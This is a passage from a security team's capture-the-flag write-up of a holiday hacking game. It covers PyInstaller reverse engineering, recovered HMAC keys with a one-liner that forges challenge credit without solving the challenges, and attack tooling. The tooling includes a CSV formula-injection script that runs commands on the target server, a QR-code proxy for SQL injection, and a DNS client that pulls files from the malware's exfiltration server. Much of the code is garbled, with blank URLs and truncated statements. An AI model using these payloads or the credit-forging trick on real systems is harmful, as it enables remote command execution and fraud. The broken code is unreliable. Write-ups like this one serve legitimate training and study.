Nick Buraglio (ESnet): Thanks to his time pretending to be Randall from the movie “Clerks” he immediately thought of the musical lock in Charlie and the Chocolate Factory when we were first stuck on that

We're also very grateful to SANS for this event, recognizing all the hard work that went into it.

But, most of all, we also need to thank our significant others for putting up with our efforts leading to some late nights and busy weekends. We all may need to stop at the florist on the way home today.

Appendix 1: Reverse Engineering PyInstaller Binaries

On some of the terminals, we would need to invoke a command, such as runtoanswer and provide the correct answer in order to receive credit for that terminal. Other terminals would automatically invoke a command once a certain condition has been met. Inspecting these files, we discovered that they were standalone Linux ELF binaries, which had been packaged by PyInstaller from a standalone Python script. We wanted to recover the original Python script, and were able to do just that.

  1. Extracting the code object

    PyInstaller provides a tool, pyi-archive_viewer, for inspecting archives and binaries created with it.

    First, we install pyinstaller: pip install pyinstaller. Now we can use pyi-archive_viewer to inspect our file:

    $ pyi-archive_viewer -l runtoanswer
    #  pos, length, uncompressed, iscompressed, type, name
    [(0, 158, 175, 1, 'm', u'pyimod00_crypto_key'),
     (158, 254, 332, 1, 'm', u'struct'),
     (412, 1144, 1992, 1, 'm', u'pyimod01_os_path'),
     (1556, 4460, 10063, 1, 'm', u'pyimod02_archive'),
     (6016, 7539, 19710, 1, 'm', u'pyimod03_importers'),
     (13555, 1900, 4513, 1, 's', u'pyiboot01_bootstrap'),
     (15455, 2182, 18185, 1, 's', u'psmenu'),

    An ELF binary can have arbitrary data at the end of the file, and in our case, PyInstaller appends an archive with scripts, modules, and even shared objects that it needs to run the script.

    In this instance, we want the script psmenu, which is at offset 15,455 relative to the start of the archive (note: not from the beginning of the ELF binary). The script has a length of 2,182 bytes compressed, and 18,185 uncompressed. The type denotes that it's a script, and its original name was psmenu.

    We can create a one-liner to generate the name of the script we want to extract:

    pyi-archive_viewer -l runtoanswer | grep -A1 bootstrap | tail -n 1 | cut -f 4 -d"'"

    We're grabbing the line which comes after bootstrap, and then we're grabbing the 4th field, as delimited by single-quotes.

    Now we can use pyi-archive_viewer to extract and uncompress our file:

    $ pyi-archive_viewer runtoanswer
    ? x psmenu
    to filename? psmenu.extracted
    ? q
  2. Converting the code object to a .pyc file

    After some investigation, it turned out that what we've extracted is just a Python code object. We can import it into Python and view a disassembly, but in order to use some decompiling tools to try to recover source code, we need to have a byte-compiled Python file. To convert it, we just need to add a few bytes of header values. The easiest way to do this is just to extract another file, which is a valid pyc file, and copy the bytes from its header. We use pyi-archive_viewer to extract pyimod03_importers, and we can verify that it has the right header:

    $ file *
    psmenu.extracted:     data
    pyimod03_importers:   python 3.5.2+ byte-compiled

    The pyc file format calls for a 12-byte header, so we can grab the first 12 bytes using dd and save it to a file:

    dd if=pyimod03_importers of=pyc_header bs=1 count=12

    Next we simply concatenate the two files: cat pyc_header psmenu.extracted > psmenu.pyc.

  3. Decompiling the .pyc file Now that we have a valid .pyc file, we can use uncompyle6 to convert it back to a Python script:

    uncompyle6 psmenu.pyc >

Appendix 2: Game Internals: HMACs and Hidden Terminal Messages

In order to receive credit for successfully completing a game objective, such as a Cranberry Pi terminal challenge, or an objective, HMACs are used. In this section, we'll discuss how they're used, and how we were able to forge these after stealing the keys for some of the challenges.

Recovering the HMAC keys

After reverse engineering one of the runtoanswer binaries on a Cranberry Pi system, we can see how the scripts generate the HMAC:

import hmac

def calcHmac(secret, resourceId):
    return'utf8'), resourceId.encode('utf8'), sha256).hexdigest()

def printResponse(hash, resourceId):
    print('#####hhc:%s#####' % json.dumps({'hash': hash, 'resourceId': resourceId}))

if __name__ == '__main__':
    RESOURCEID = os.environ.get('RESOURCE_ID')

    key = '2bb6b9c702834095a9c3284e053da124'
    h ='utf8'), RESOURCEID.encode('utf8'), sha256)
    payload = {'hash': h.hexdigest(),'resourceid': RESOURCEID}

    hmac256 = calcHmac(key, RESOURCEID)
    printResponse(hmac256, RESOURCEID)

Each in-game element (terminal, objective, etc.) has a unique resource ID, and each user receives different resource IDs. These IDs are passed to the terminal via a GET parameter.

The terminals print a special message, which is hidden by the JavaScript TTY terminal.

We can create a bash one-liner to just give ourselves credit for this challenge, without actually solving it:

RESULT=$(echo -n RESOURCE_ID | openssl dgst -sha256 -hmac 48e41d5cc5e041c0869395bb8cab791e | sed 's/^.* //'); \
echo; echo '#####hhc:{"hash": "'$RESULT'", "resourceId": "'$RESOURCE_ID'"}#####'

This duplicates the logic in the Python script. It uses OpenSSL to calculate the HMAC, and then it prints the hidden message, which causes the game to give us credit.

Challenge Keys

Terminal Direct URL HMAC Key
Essential Editor Skills viescape 2bb6b9c702834095a9c3284e053da124
The Name Game pwshmenu 78871929eec84c94806623a086b376f0
Lethal ForensicELFification viminfo 48e41d5cc5e041c0869395bb8cab791e
Stall Mucking Report plaintext-creds  
CURLing Master http2  
Yule Log Analysis spray-detect 81013803273d4c58b0e2e5ed869c3677
Dev Ops Fail gitpasshist 32f7f08dbb014bb3a288ecc9ecce1486
Python Escape from LA python_docker_challenge 09f90c21d59845a7b0c972b8e871e8fe
The Sleighbell Lottery unlinked-function a6ec0e49731b4c29907422c23794b9a6
Snort snort 4069e612c5d44c69b9ba302ce63968d7

The Sleighbell Lottery key was recovered with gdb.

Appendix 3: Scripts and Tools

As part of this report, we're releasing our scripts and tools at:

Some select tools, which were mentioned in this report are listed below:


We wrote this simple script to create and upload a QR code:


BADGE=$(mktemp -t badge)


qrencode -t ansi "$CMD" -o $BADGE -t PNG

mv $BADGE $BADGE.png

curl -s '' -H 'X-Requested-With: XMLHttpRequest' -H 'Cookie: resource_id=false' -H 'Connection: keep-alive' -F "barcode=@$BADGE.png"

rm $BADGE.png

We wanted to used tools that can automatically map SQL databases, such as sqlmap, but they all use URLs, and not QR codes. So we hacked together this script, which calls the badge shell script, and just acts as a go-between:

from subprocess import Popen, PIPE
import urllib

from flask import Flask, request, jsonify
app = Flask(__name__)

def proxy():
    uid = urllib.unquote(request.args.get('uid', ''))
    p = Popen(['bash', './', uid], stdin=PIPE, stdout=PIPE, stderr=PIPE)
    output, err = p.communicate()
    return jsonify(output)


Uploading a CSV file by hand became old fast, so we wrote this:

#!/usr/bin/env python

import sys
import time
import uuid

import requests

cmd = sys.argv[1]

output = uuid.uuid4().hex + '.txt'

data = {'firstname': 'Willy', 'lastname': 'Wonka', 'phone': '1234567890', 'email': ''}
files = {'csv': ('work_history.csv', "=cmd|'/C %s > C:\\careerportal\\resources\\public\\%s 2>&1'!A0" % (cmd, output))}

r ='', data=data, files=files)

print "Submitted, and recieved", r.status_code
print 'Result should be in' + output

while True:
    r = requests.get('' + output)
    if '404 Error!' not in r.text:
        print r.text[2:].decode('utf-16')
        print "Not yet..."

if len(sys.argv) == 3:
    with open("output/" + sys.argv[2], 'wb') as f:

It takes a command as an argument, will upload it, and then poll the server to get the result.


We used the following script to search for other files the malware author may have left on the system:

#!/usr/bin/env python

import binascii
import sys

import dns.resolver

if len(sys.argv) < 2:
    print "Usage: filename"

PATH = "erohetfanu_exfil"

erohet = dns.resolver.Resolver()
erohet.nameservers = ['']

def query(name):
    print "Querying", name
    result = erohet.query("" % name, "TXT").response.answer[0][-1].strings[0]
    return result

filename = sys.argv[1]
hex_file = binascii.hexlify(filename)

result = query(hex_file)
if result == "404NOTFOUND":
    print "File does not exist"
    chunks = int(result)
except ValueError:
    print "Suspicious value", result
    with open(PATH + "/suspicious", 'a') as f:
        f.write(filename + ": " + result + "\n")

filename = filename.replace("..", "<DOTDOT>")
filename = filename.replace("/", "<SLASH>")

with open(PATH + "/%s" % filename, 'wb') as f:
    for chunk in range(chunks):
        if chunks > 1000 and chunk % 100 == 0 and chunk != 0:
            print "On chunk", chunk
        f.write(binascii.unhexlify(query("%s.%s" % (chunk, hex_file))))

print "Written to", PATH + "/%s" % filename

Maze Solver

# Python 3

import requests
import re
import time

location_keys = {}
location_shafts = {}

def move(heading, x, y, f, action='forward', resourceid='inigomontoya'):
        key = location_keys[(x, y, f)]
        return'', data = {'heading': heading, 'mazex': x, 'mazey': y, 'mazef': f, 'playeraction': action, 'locationkey': key,
'resourceid': resourceid})

def parse(result):

    # default action
    a = "forward"

    #    Check for a change in response size.
    #    We did this (with some other code adjustments) to fully explore every vent space
    #    and verify there weren't any other secrets.
    #    if(len(result.text) > 3514) or len(result.text) < 3509:
    #        print("Length: ",len(result.text))

    for line in result.text.split('\n'):
        if ' = ' not in line:
        data, val = line.split(' = ', 1)
        if '"' not in val:
        value = val.split('"')[1]

        if('arrow\-up',data) and value=="visible"):

        if('arrow\-down',data) and value=="visible"):

        match ='namedItem\(\"(\w+)\"\)',data)
        if match is not None:
            key =

            if(key == "heading"):
                # we already know our heading, we don't really need this.
            elif(key == "mazex"):
                x = int(value)
            elif(key == "mazey"):
                y = int(value)
            elif(key == "mazef"):
                f = int(value)
            elif(key == "locationkey"):
                lk = str(value)
            elif(key == "resourceid"):
                rid = str(value)
                if(rid != "inigomontoya"):
                    print("Resource ID changed?  %s",rid)
            elif(key == "northwall"):
                n = value == "True"
            elif(key == "southwall"):
                s = value == "True"
            elif(key == "eastwall"):
                e = value == "True"
            elif(key == "westwall"):
                w = value == "True"
                print("Unknown namedItem: %s",key)
                # yeah yeah... we could throw an exception instead

        location_keys[(x, y, f)] = lk

    return a, x, y, f, n, s, e, w

def print_map(x,y,f):

    for j in range(1,20):
        for fl in range(1,3):
            for i in range(1,24):
                if(x == i and y == j and f == fl):
                    print("X", end='')
                elif((i,j,fl) in location_shafts):
                    print("%s" % location_shafts[(i,j,fl)], end='')
                elif((i,j,fl) in location_keys):
                    print(chr(9608), end='')
                    print(".", end='')
            print("    ", end='')

def determine_heading(heading,n,w,s,e):
    # hug the right wall
    walls = [n,w,s,e]

    # The order we test in, wrapping as necessary.
    order = ['n','w','s','e']
    directions = {
        'n': 0,
        'w': 1,
        's': 2,
        'e': 3

    cur = directions[heading]

    # to start, look right
    cur = (cur-1) % 4

    for i in range(0,4):
        if walls[cur] == False:
            return order[cur]

        # check one turn to the left.
        cur = (cur+1) % 4

    print("This should never happen, how did I get surrounded by walls?")

# Starting position
x = 23
y = 19
f = 1
n, s, e, w = True, True, True, False
location_keys[(23, 19, 1)] = 'ba49a09644aa8fa7fb0082e935f46521'
heading = "w"
action = "forward"
location_shafts[(23,19,1)] = "S"

i = 0
    # determine move:
    heading = determine_heading(heading,n,w,s,e)
    result = move(heading, x, y, f, action=action)
    last_action = action
    action, x, y, f, n, s, e, w = parse(result)

    # a little more useful symbols for the map
    if(action == "up"):
        location_shafts[(x,y,f)] = "U"

        # TEMP  don't go up, keep exploring
        # action = "forward"

    if(action == "down"):
        location_shafts[(x,y,f)] = "D"

        # TEMP  don't go down from 2F, keep exploring
        # action = "forward"

    # don't get stuck going up and down in a loop
    if(action == "down" and last_action=="up"):
        action = "forward"
    elif(action == "up" and last_action=="down"):
        action = "forward"

    print("%i  %i,%i,%i   %s" % (i, x, y, f,location_keys[(x,y,f)]))

    # We know this is the exit in this case.

    # be nice

    # Just helps keep track of what's going on visually.
    i = i + 1
    if(i == 20):
        print_map(x, y, f)
        i = 0

print_map(x, y, f)

Postscript: Police Report

Case No: 951-262-3062 (Note to filing clerk: make sure to put this in the case number line, NOT the phone number line, this is also Santa Claus’ phone number and it’s easy to confuse)

Date: 12/21/2018

Reporting Officer: Sgt. Al Powell

Prepared By: ESnet Security

Incident: On the day of the 18th, ESnet Security was told of hostages being taken at Kringlecon.


Summary: After speaking to Santa’s Elves, we were warned that all was not as it seemed at Kringlecon. The Toy Soldiers appeared to be up to something. We were able to ascertain many clues throughout the castle using many different digital forensic techniques. These clues pointed us to our belief that the Toy Soldiers were actually working for Hans Gruber. Hans was in turn, working for none other than Santa Claus himself. It seems Santa Claus had a feeling he could use some investigative help at some point in the future, so he set up this test to see if we were the people he should call on in the future.


Figure 70: Hans Gruber, person of interest

1988: Kidnapping, Murder, Attempted Grand Larceny - Took hostages at Nakatomi Plaza in an attempt to steal $640 million dollars in bearer bonds


Figure 71: Santa Claus, interesting person

~280 AD - 2018: Breaking and entering into homes around the world every winter. Estimates suggest 640 million per year (coincidentally the same amount Hans attempted to steal)

Author: ESnet Security Team